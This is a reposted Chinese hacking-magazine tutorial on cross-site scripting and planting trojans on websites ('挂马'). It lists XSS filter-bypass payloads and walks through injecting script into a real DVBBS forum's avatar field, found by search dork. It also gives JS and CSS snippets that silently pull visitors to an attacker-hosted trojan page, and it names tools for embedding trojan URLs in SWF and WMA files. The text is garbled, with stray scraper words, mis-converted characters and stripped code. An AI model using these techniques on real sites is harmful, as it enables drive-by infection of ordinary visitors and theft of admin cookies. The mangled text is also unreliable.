Cross-Site Scripting XSS 跨站攻击全攻略 分类: 系统架构 2015-07-08 12:25 21人阅读 评论(2) 收藏

原文:http://a1pass.blog.163.com/blog/static/2971373220087295449497/javascript

题记:这是我在《黑客X档案》08年第5期发表的一篇文章,对跨站与挂马作了比较全面而深刻的讲解。java

转载请注明版权:http://a1pass.blog.163.com/ A1Pass 《黑客X档案》程序员

黑客反病毒论坛 http://bbs.hackav.com 数据库

如今的黑客攻击手法中,跨站挂马彷佛正在逐渐成为攻击的主流话题,鉴于这种形势,俺就把我学习跨站挂马的一点心得总结出来与你们分享。express

因为考虑到知识的认知过程以及入门朋友们的技术底子问题,本文将分为“基础知识”、“跨站漏洞”与“挂马技巧”三部分组成,我们先来学习一下基础知识,以及跨站攻击的利用方法。浏览器

1、基础知识安全

一、什么是UBB码服务器

XSS攻击主要在两种环境下进行,一个是用户本身构造的比标签,构造者汇总标签要严格遵循HTML标记语言,而UBB码是HTML的一个变种,属于系统提供的标签。UBB代码简单,功能不多,可是因为其TAG语法检查实现很是容易,因此许多网站引用了这种代码,以方便广大网友的使用,固然,同时也为咱们打开了方便之门。markdown

下面我列出几个例子,以便你们对UBB码有一个感性的认识。网络

显示为粗体效果:[B]文字[/B]

显示为斜体效果:[I]文字[/I]

显示文字的超连接:[URL= http://www.hackerxfiles.net/]黑客X档案官方站[/ URL]

经过上面的例子,咱们能够看出来UBB码用的是中括号标签“[”与“]”。

为何介绍这些?由于关键时候,咱们借助UBB码也能够达到跨站的效果。

二、什么是HTML输入

你们看到这的时候,有条件的能够打开X档案的网站看看,咱们在IE浏览器的页面中单击右键,选择“察看源文件(V)”选项,如图1。
这里写图片描述

跨站挂马全攻略 - A1Pass - A1Pass的风清月朗居

而后就会弹出如图2那样一个以首页文件命名的记事本。
这里写图片描述

跨站挂马全攻略 - A1Pass - A1Pass的风清月朗居

咱们能够看见里面的代码都是用“<”与“>”括起来的,而这个“<”与“>”分别就是HTML的开始与结束标记。例如咱们输入< script >alert(“text”)< /Script>就是输入了一段HTML码,咱们能够看见这段代码被“<”与“>”分红了两个标签,分别是< script >与< /Script >,中间的则是这个标签须要解释的内容,关于这段HTML码的意义,我在下面会为你们解释清楚,你们不要急,更不要怕!

其实基础的跨站应用无非就是几个步骤的问题,要比SQL注入简单多了!在这篇文章中我争取从实用角度出发,从而让你们从啥都不懂,到能自主实战,可是前提是你仔细的读过本文。

2、什么是跨站漏洞

所谓的跨站漏洞,就是一种往数据库里插入特定恶意代码的一种攻击技术,它被称为“XSS”或“CSS”,懂网页设计的朋友可能会困惑,CSS不是层叠式样式表的简称吗?没错,只不过是重名而已,由于跨站攻击的英文是Cross-Site Scripting,因此简称为CSS。可是为了与层叠式样式表区分,如今广泛叫作XSS。那么XSS为何会被称做为跨站攻击呢?这是由于黑客经过别人的网站脚本漏洞达到攻击的效果,就是说能够隐藏攻击者的身份,所以叫作跨站攻击。其实“Cross-Site Scripting(跨站点脚本)”在乎义上来说是属于错误的名字,由于XSS攻击与脚本基本无关不说,甚至根本不必定是跨站点的。可是这在刚刚发现这种攻击手法时就起了这样一个名字,因此沿用至今,你们也就只能接受了。

对于受到XSS攻击的服务器来讲,被插入恶意代码的WEB程序会永久的储存这些代码,除非人为的删掉它!当有人访问这个WEB程序下的某个页面时,恶意代码就会混杂在正常的代码中发送给浏览者,从而致使浏览器执行相应代码,所以达到黑客的攻击目的。

通常状况下来说,人机交互比较高的WEB程序更容易受到XSS攻击,好比论坛、留言板与带有评论功能的新闻系统等等。而当黑客成功插入相关恶意代码时,那么他就能够挂马、获取管理员的登录Cookie、强制执行操做甚至格式化浏览者的磁盘(不过用IE6.0的朋友不用担忧硬盘被格式化,由于IE6.0的默认安全规则会阻止这些危险动做的发生)!只要是脚本可以实现的功能,跨站攻击一样能达到,所以XSS攻击的危害程度甚至与溢出攻击都是不相上下!

3、跨站攻击的原理

其实, XSS攻击的本质仍是注入的问题,只不过XSS攻击注入的是恶意的HTML脚本而已。可是这些注入的恶意代码为何会被执行呢?这实际上是因为浏览器的不足形成的。

由于浏览器在接受数据时,他没法辨认哪些是应该解释的代码,哪些是不须要解释的数据。若是是数据,浏览器彻底能够简单的将其显示出来便可,但可悲的是浏览器作不到这点,只要碰到符合条件的标记,他就会将其解释执行,从而给咱们XSS攻击埋下伏笔。

因此若是WEB程序在接受数据时若是不作有效的过滤,就会致使恶意代码进入数据库,并且咱们注入的JavaScript代码能够在安全策略准许的范围内执行任何操做,若是这段JavaScript代码可让对方的电脑下载并执行你的木马时,这就是咱们所说的“挂马”了。

归根结底,跨站攻击的根本漏洞就在WEB程序里,你们能够看看图3。
这里写图片描述

跨站挂马全攻略 - A1Pass - A1Pass的风清月朗居

有助于你进一步理解XSS攻击的含义,咱们经过图3能够看出来,若是WEB程序能作跟好的滤,XSS攻击是彻底有可能被避免的。

4、跨站攻击的挖掘

知道了XSS攻击的以后,咱们怎样才能挖掘网站的XSS漏洞呢?

想挖掘网站的XSS漏洞,咱们必需要有基本的脚本底子,鉴于咱们叉子的电脑基础问题,这里我就先为你们解释一下标准测试代码< script >alert(“text”)< /Script>的意思,要注意看哦!其中的text能够改成任何字,若是存在XSS漏洞,咱们使用这段代码进行XSS攻击后,浏览相的应页面就会弹出包含text这个字符的提示框,如图4。
这里写图片描述
跨站挂马全攻略 - A1Pass - A1Pass的风清月朗居

而< Script >……与< /Script >则分别是脚本开始、结束的HTML标记,alert是JavaScript下的一个显示信息对话框的方法,这个你们知道就行。也就是说,若是跨站成功,这个alert方法就会被执行。所以,咱们就能够将alert换成任意的JavaScript代码,那么实现挂马功能天然也就不在话下了。

鉴于XSS攻击的危害性,通常的站点都会将< Script >与< /Script >这样敏感的关键字过滤,那该怎么办?难道咱们一开始就被难住了吗?ON!咱们固然不能被他们难住,确定有办法突破的!

可是突破了这个限制,若是碰到别的限制怎么办呢?不要急,今天我就带领你们步步设防,在步步突破!从不断的突破中带领你们学习XSS攻击的大致思路!

那么面对咱们的第一道关于< Script >与< /Script >的过滤咱们该怎么办呢?

第一步就是看看替换大小写!这替换大小写真可谓万能招数啊……

咱们只需将< script >与< /Script >改成< script >与< /SCrIPt >或相似的形式便可。若是没经过怎么办?看看下面这个办法。

对于过滤< script >与< /Script >来讲,咱们使用HTML标签下就能够绕过,例如:

它执行后与< script >alert(“text”)< /Script>结果是同样的,如图5。
这里写图片描述
跨站挂马全攻略 - A1Pass - A1Pass的风清月朗居

经过对比,咱们能够知道被执行的是“ alert(“text-img”) ”这段JavaScript代码,而执行JavaScript的标记则变成了“ javascript: ”,这段XSS攻击代码巧妙的利用了标签提供的“<>”号执行了相应的JavaScript代码。

那么,若是咱们javascript:也被过滤了的话,那该怎么办呢?呵呵,咱们还能够试试部分字符换做ASCII码表示是否能够。对于过滤javascript:来讲,咱们就将javascript:中的某些字符转换为16进制的值,例如:< img src=”&#106avascript&#58aler(/src-text/) “>,其中的&#106与&#106就是“j”与“:”的16进制。固然咱们转换成效果更好些!除此以外,咱们还能够将j由j转换成例如j也能够。

具体转换内容你们能够参考ASCII码表:
这里写图片描述
完整的ASCII码表查询:http://www.asciima.com/

可是若是对方又过滤了“&”号或“#”号该怎么办呢? 咱们能够试试下面这条XSS攻击测试代码:

< img src=javascr ipt:alert(“text-img”) >

看到了没有?中间的一个[Tab]键弄出来的空白(这个空白叫作制表符)便可绕过这类过滤,呵呵!除此以外如下几个XSS攻击代码也能够绕过这种过滤。

固然,若是仅仅是过滤掉javascript:的话,咱们其实还有一个很是简单的方法,不用javascript脚本!别忘了微软还为咱们准备了VBScript啊!咱们将代码简单的换成便可。

而若是对方过滤了“SRC”的话怎么办呢?呵呵!不急!咱们还能够利用下面的XSS攻击代码绕过这种过滤,效果与利用SRC基本一致。

然而随着XSS攻击的频繁发生,程序员们都开始想着怎样避免漏洞的出现,因而他们过滤了制表符这类部常见的符号,过滤空格还过滤了javascript。

可是聪明的咱们还能够利用事件和属性替换掉关键字,绕过监测,好比:

因为HTML的脚本默认就是JavaScript,所以即使是咱们不特别的声明,其中的alert(/error-text/)仍是能够顺利执行,而它的执行利用的是错误事件onerror才得以完成的。有的初学朋友可能会头晕了,什么事件啊属性啊什么的,我不懂啊!呵呵,不要着急,对于初学的朋友,你只要记住其中的alert(/error-text/)能够换成其余JavaScript代码就能够了。

可是有的初学者不明白了,咱们知道这些又有什么用呢?你能够将其换成来实现挂马功能。并且到后期当你懂得必定的脚本知识时,你能够用它作更多的事。

哦,原来利用事件也能跨站,因此有的人又开始过滤事件,以使咱们的onerror事件没法执行。可是“山穷水尽疑无路,柳暗花明又一村”,总使你过滤再多的事件,若是我本身构造一个呢?下面这段代码就是我构造的一个叫作“A1Pass”的事件,它的执行结果与经过onerror来执行JavaScript代码的结果是同样的。

执行结果如图6所示。
这里写图片描述
跨站挂马全攻略 - A1Pass - A1Pass的风清月朗居

咱们甚至不要SRC而且脱离标签均可以成功进行XSS攻击!例以下面那段XSS测试代码。

< DIV style=”A1Pass:expression(alert(/style -text/));”>

值得注意的是,经过style构造的事件会执行两次,并且当鼠标移过期也会再次触发style事件。

固然除此以外咱们还能够利用其余未被过滤的事件,或者利用上面所说的制表符(Tab键)来分割被过滤的关键字,除此以外注释符号“/**/”也能够看成空格来用,例如:

< img src=”#”/**/onerror=alert(/error-text/) >

讲到这里有的朋友可能已经按耐不住了,那咱们应该怎样去挖掘这些漏洞呢?我能够很负责任的告诉你,在你理解这些XSS攻击方法的前提下,挖掘这些漏洞就显得比较简单了,咱们下面进行一次XSS攻击的实验。

你们都知道,能够输入信息的地方才有可能构成XSS攻击,可是选择一个输入点的好坏直接关系到XSS攻击的威力与成功概率。

咱们先从威力方面考虑,固然是用户浏览次数越多,交互越频繁的地方,你进行XSS攻击后的效果就越明显,就拿论坛来讲,用户头像、签名等都是比较高效并且较易成功的XSS攻击点。

下面咱们就拿一个动网论坛作一下实验。

第一步先在网上找一个动网论坛,关键字是POWERED BY DVBBS ,你们本身搜吧。找到后先查看本身的权限,由于咱们要利用自定义头像进行XSS攻击,因此为了能自定义头像,我这里须要先发10篇帖子……

第二步开始验测,咱们在动网“自定义头像地址:”中输入咱们的XSS测试代码< script >alert(“text”)< /script>,而后点击保存。

可是咱们刷新后并无看到text弹出来啊!如图7,怎么办?首先咱们在返回的页面信息中能够看到完整的XSS测试代码< script >alert(“text”)< /script>,这至少证实没有被过滤。
这里写图片描述
跨站挂马全攻略 - A1Pass - A1Pass的风清月朗居

小技巧:若是咱们在某一个页面提交完XSS代码,刷新后还能显示的话(例如完整显示< script >),那大多数的状况是这个站点存在XSS漏洞!只是还须要咱们进一步去挖掘。

可是他为何没有顺利执行呢?这时就须要咱们察看网页的源代码了,咱们在IE浏览器的页面中单击右键,选择“察看源文件(V)”选项,便可看到这个页面的HTML源代码,按[Ctrl]+[F]快捷键调出查找对话框,输入alert(“text”)后咱们找到了以下代码:

[头像预览]

alert(“text”)< /script>” width=”120” height=”120” />

你们能够看到咱们的XSS测试代码确实没有被过滤,可是被标签的“< >”给包围了,固然就不能执行了!咱们怎么办呢?

这里给你们一个思路:逆向思考!咱们怎样不被包围呢?呵呵!你们看看下面这段新构造的XSS测试代码。

< script >alert(“text”)< /script><

当咱们输入这段代码后,原先闭合的标签被咱们拆分为< script >alert(“text”)< /script><” width=”120” height=”120” />

也就是变成、< script >alert(“text”)、<”width=”120” height=”120” />三个单独的语句,咱们可爱的< script >alert(“text”)< /script>就这样被咱们解围了。

关于XSS攻击实际上是没有定律的,就拿咱们绕过验证方法来看,除了上面的其实还有许多许多!随着你脚本底子的增长,你会发现更多的XSS攻击代码!可是我最后要说的就是必定要注意到浏览器的存在!

在本小结的最后我为你们附上一些针对不一样浏览器能够成功执行的XSS攻击代码,但愿能给你们一些启示。

[IE浏览器]

[IE浏览器]

[IE浏览器]

&< script >[code]

&{[code]} [N4浏览器]

[N4浏览器]

[N4浏览器]

[IE浏览器]

[Mozilla浏览器]

[IE浏览器]

[IE浏览器]

[\xCO][\xBC]script>[code][\xCO][\xBC]/script> [UTF-8;IE;Opera浏览器]

上面的内容是我参考安全焦点出版的《网络渗透技术》作的摘录。

5、挂马技术

对于挂马,强烈要求你们带着学习的目的去钻研,不要拿出去害本身的同胞……

一、什么是挂马

最近看中央电视台的一个有关于黑客的节目,字幕上居然把“挂马”显示成“挂码”!估计是对黑客技术不了解所致。可是也能够看得出来你们对于挂马技术的陌生。

其实经过名字就能够知道一二,挂马就是指一种将木马程序“挂”到你们比较信赖的网站上,从而使得浏览此网站的网民电脑被非法植入木马的行为。

若是挂马技术比较成熟,被挂马的网站服务人员与浏览此网站的网民通常很难察觉!因此说挂马具备隐藏性好,危害巨大的特色,你们试想一下,若是百度首页被挂马,那么后果会怎样?只需1天就会有上千万人的电脑被非法控制!

二、挂马的原理

关于挂马技术,与XSS基本一致,但貌似比XSS技术的门槛低。而就夸马的方式来讲,一个是经过漏洞挂马(例如XSS),一个是经过拥有的绝对权限挂马,例如咱们利用WEBShell进行批量挂马。可是无论是利用什么方法,只有咱们有良好的挂马代码才会得到比较好的效果……

挂马的基本思想就是利用本地溢出漏洞构造下载执行的ShellCode,从而下载并执行指定的程序,如图8。
这里写图片描述
跨站挂马全攻略 - A1Pass - A1Pass的风清月朗居

关于溢出漏洞,能够是IE自己存在的漏洞,能够是与IE有联系的漏洞,例如WORD、FILASH、WMA音频等等。

三、挂马实战

挂马于XSS同样,都有一个“基本代码”,而挂马的基本代码则是:

经过上面的学习,相信入门的朋友对HTML已经有点了解了吧?咱们能够看到这是一个包含< ifarme>标签的代码,< ifarme>标签是用来在网页内嵌入另外一个页面的,如图9就是一嵌入页面。
这里写图片描述
跨站挂马全攻略 - A1Pass - A1Pass的风清月朗居

经过代码咱们很容易就能知道他嵌入的是一个宽[width]为500像素,高[height]为100像素的页面,经过对比,咱们能够发现本文例子的宽和高都是0,这就起到了隐藏访问木马网页的目的。

可是如今稍微有点安全常识的人都知道查找关键字ifarme了,因此要实行有效的挂马,最好是使用其它的挂马技巧。而另一个经常使用的方法就是JS挂马了,这里的JS和咱们上面谈到的JavaScript同样,JS挂马固然是先建立JS文件,咱们先建一个记事本,将如下代码输入到里面。

Top.document.body.innerHTML = top.document.body.innerHTML +’\r\n

而后依次选择“文件”>“另存为(A)…”保存为.js文件,如图10。将其上传到你所能控制的服务器中。
这里写图片描述
跨站挂马全攻略 - A1Pass - A1Pass的风清月朗居

如今咱们只要在那个网页中插入< script src=http://你的JS文件保存地址>,之后只要有人浏览这个页面就会偷偷的转向咱们JS文件里的http://www.*.com/muma.htm,从而达到挂马的目的。

这种方法很好的避开了关键字ifarme,只要咱们的JS文件的名称起的具备迷惑性,通常的应该均可以蒙混过关。若是还想要更加隐蔽的方式,那就只有使用CSS来挂马了。

经过上面的文章你们应该对CSS有所了解,CSS是层叠式样式表的简称,也就是说咱们能够利用层叠式样式表来挂马,熟悉网页设计的都知道,凡是比较复杂漂亮的页面,通常都要用到层叠式样式表,并且层叠式样式表的代码繁杂,从而有效地掩护了咱们的挂马代码。

咱们只要在CSS文件中包含如下代码便可。

Body{

Hytop: expression(op.document.body.innerHTML = top.document.body.innerHTML +’\r\n

}

而后在咱们要挂马的页面引用这个CSS文件就能够了,引用代码以下。

有了这三种方法撑腰,你的网马挂的应该算是比较成熟了,可是除此以外,咱们还有其它比较另类的挂马方法,正可谓剑走偏锋,出其不意!

第一个要介绍的就是“臭要饭的”写的“IcodeToSWF”,它能够将咱们的网页木马地址插入到SWF文件里,当别人兴高采烈的观看动画时,他已经成为咱们粥中的肉鸡了!

关于IcodeToSWF的使用方法很是简单,咱们代开文件后选择须要插马的SWF文件,而后输入咱们的目马网址点击“给我插”就能够了,如图11。
这里写图片描述
跨站挂马全攻略 - A1Pass - A1Pass的风清月朗居

最近老是据说网易博客中毒了!一听吓我一大跳!网易的BLOG还没智能到能够运行病毒的程度吧?最后通过调查发现,原来是WMA文件被插了木马!

因而乎淘到了一款傻瓜化的WMA插马工具,咱们只需输入木马地址与音乐地址保存便可,如图12。
这里写图片描述
跨站挂马全攻略 - A1Pass - A1Pass的风清月朗居

不过这个工具毛病不少,例如WMA音乐的地址最好手动输入,不要粘贴,不然会出问题……

关于挂马就想讲到这里了,结束前在告诉你们一个技巧,关于HTML文件远程访问时咱们能够将后缀名改成其它的,例如http://www..com/muma.jpg或http://www..com/muma.abcd均可以正常执行!除了HTML文件,JS文件也能够这样随意改动后缀名,甚至无后缀名均可以!

关于挂马,我最后要说的一句话就是“害人终害己”,切记!

到这里文章所有结束了,本想讲的更加详细一些,涉及的更广一些,可是想到憧憧不知的菜鸟们,使我努力将文章难度下降,以便于入门朋友的学习。关于这片文章,入门的朋友们不要看到代码就头大,其实大多数只是改个网址就能够应用的,为了方便广大读者,我已经将本文涉及到的全部应用代码整理初来,详情请见光盘。

因为时间仓促,本文不免有错误之处,还请广大读者指正!个人ID是a1pass,你们能够到X档案的论坛找我。

××××××××××××××××××××××××××××××××××××××

A1Pass后记:这实际上是我07年6月写的文章了,可是一直到08年5月才发表,不过我的认为里面仍是有一些东西值得各位读者去学习的。

转载请注明版权:http://a1pass.blog.163.com/ A1Pass 《黑客X档案》

相关文章
相关标签/搜索